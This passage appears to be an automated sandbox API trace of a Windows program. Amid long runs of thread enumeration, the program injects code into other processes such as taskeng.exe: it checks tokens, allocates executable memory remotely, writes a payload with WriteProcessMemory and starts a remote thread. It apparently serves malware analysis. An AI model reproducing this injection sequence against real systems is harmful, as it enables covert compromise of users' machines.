returned 1 [0104.435] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.436] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.437] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.437] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.438] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.439] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.439] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.440] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.441] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.441] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.442] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.443] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.443] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.444] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.445] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.445] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.446] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.447] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.447] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.448] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.449] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.449] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.450] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.451] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.452] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.452] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.453] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.454] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.454] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.455] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.456] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.456] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.457] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.458] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.458] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.459] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.460] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.460] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.461] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.462] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.462] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.463] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.464] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.464] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.465] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.466] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.467] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.468] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.468] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.469] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.470] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.470] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.471] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.472] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.473] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.473] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.474] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.475] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.475] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.476] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.477] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.478] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.478] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.479] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.480] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.480] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.502] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.502] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.503] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.504] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.504] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.505] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.506] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.507] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.507] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.508] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.509] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.509] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.510] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.511] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.512] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.513] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.514] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.514] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.515] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.516] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.517] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.517] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.518] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.519] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.519] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.520] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.521] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.522] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.522] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.523] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.524] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.524] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.525] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.526] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.527] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.527] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.529] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.530] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.530] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.531] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.532] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.532] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.533] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.534] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.535] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.535] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.536] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.537] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.537] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.538] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.539] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.540] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.540] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.541] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.542] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.542] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.547] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.548] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.548] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.549] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.550] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.551] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.551] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.552] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.553] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.553] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.554] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.555] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.555] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.556] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.557] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.558] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.558] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.559] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.560] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.560] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.561] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.562] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.562] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.563] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.564] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.565] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.565] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.566] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.567] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.567] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.568] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.569] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.570] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.570] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.571] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.572] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.572] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.573] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.574] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.575] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.576] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.577] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.578] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.578] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.579] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.580] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.581] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.581] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.582] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.583] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.583] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.584] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.585] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.586] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.586] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.587] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.588] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.588] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.589] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.590] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.591] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.592] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.592] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.593] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.594] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.595] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.595] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.596] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.597] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.597] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.598] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.599] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.600] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.600] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.601] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.632] CreateRemoteThread (in: hProcess=0xef8, lpThreadAttributes=0x2c72b60, dwStackSize=0x0, lpStartAddress=0x1fead14, lpParameter=0x120000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b0 [0104.633] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13d8, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5ec18, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5ec18*=0x120) returned 1 [0104.633] CloseHandle (hObject=0x13b0) returned 1 [0104.633] CloseHandle (hObject=0xef8) returned 1 [0104.633] CloseHandle (hObject=0x13d8) returned 1 [0104.633] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0104.634] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0104.635] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0104.635] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13d8 [0104.635] GetLastError () returned 0x0 [0104.635] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0104.635] CloseHandle (hObject=0x13d8) returned 1 [0104.635] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0104.636] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0104.636] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13d8 [0104.636] GetLastError () returned 0x0 [0104.636] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0104.636] CloseHandle (hObject=0x13d8) returned 1 [0104.636] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0104.637] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0104.637] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13d8 [0104.637] GetLastError () returned 0x0 [0104.637] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2b4) returned 0xef8 [0104.637] OpenProcessToken (in: ProcessHandle=0xef8, DesiredAccess=0x8, TokenHandle=0x2d5f810 | out: TokenHandle=0x2d5f810*=0x13b0) returned 1 [0104.637] GetTokenInformation (in: TokenHandle=0x13b0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2d5f780 | out: TokenInformation=0x0, ReturnLength=0x2d5f780) returned 0 [0104.637] GetLastError () returned 0x7a [0104.637] GetTokenInformation (in: TokenHandle=0x13b0, TokenInformationClass=0x1, TokenInformation=0x4720b00, TokenInformationLength=0x2c, ReturnLength=0x2d5f780 | out: TokenInformation=0x4720b00, ReturnLength=0x2d5f780) returned 1 [0104.637] GetTokenInformation (in: TokenHandle=0x13b0, TokenInformationClass=0xc, TokenInformation=0x2d5f924, TokenInformationLength=0x4, ReturnLength=0x2d5f80c | out: TokenInformation=0x2d5f924, ReturnLength=0x2d5f80c) returned 1 [0104.637] CloseHandle (hObject=0x13b0) returned 1 [0104.637] CloseHandle (hObject=0xef8) returned 1 [0104.637] GetLengthSid (pSid=0x4720b10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0104.638] OpenProcess (dwDesiredAccess=0x47a, bInheritHandle=0, dwProcessId=0x2b4) returned 0xef8 [0104.638] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77320000 [0104.638] GetProcAddress (hModule=0x77320000, lpProcName="IsWow64Process") returned 0x773291d0 [0104.638] IsWow64Process (in: hProcess=0xef8, Wow64Process=0x2d5eb64 | out: Wow64Process=0x2d5eb64) returned 1 [0104.638] VirtualAllocEx (hProcess=0xef8, lpAddress=0x0, dwSize=0x3c000, flAllocationType=0x3000, flProtect=0x40) returned 0x1f40000 [0104.722] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0x1f40000, lpBuffer=0x2c90000*, nSize=0x3c000, lpNumberOfBytesWritten=0x2d5e4f8 | out: lpBuffer=0x2c90000*, lpNumberOfBytesWritten=0x2d5e4f8*=0x3c000) returned 1 [0104.724] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x67c, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb90, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb90*=0x108) returned 1 [0104.724] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xa30, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb88, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb88*=0x10c) returned 1 [0104.724] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xa44, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb80, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb80*=0x160) returned 1 [0104.724] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x49c, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb78*=0x168) returned 1 [0104.724] VirtualAllocEx (hProcess=0xef8, lpAddress=0x0, dwSize=0xbf4, flAllocationType=0x3000, flProtect=0x4) returned 0x1eb0000 [0104.724] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0x1eb0000, lpBuffer=0x2d5ec24*, nSize=0x4, lpNumberOfBytesWritten=0x2d5ec28 | out: lpBuffer=0x2d5ec24*, lpNumberOfBytesWritten=0x2d5ec28*=0x4) returned 1 [0104.724] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0x1eb0004, lpBuffer=0x4743930*, nSize=0xbf0, lpNumberOfBytesWritten=0x2d5ec28 | out: lpBuffer=0x4743930*, lpNumberOfBytesWritten=0x2d5ec28*=0xbf0) returned 1 [0104.725] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0104.726] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.727] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.728] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.729] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.729] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.730] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.731] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.732] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.732] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.733] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.734] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.734] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.735] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.736] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.736] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.737] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.738] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.738] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.739] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.740] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.740] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.741] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.742] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.742] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.743] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.744] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.744] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.745] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.746] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.747] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.748] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.748] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.749] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.750] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.750] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.751] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.752] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.752] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.753] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.754] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.754] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.755] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.756] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.756] Thread32Next (hSnapshot=0x13b0, 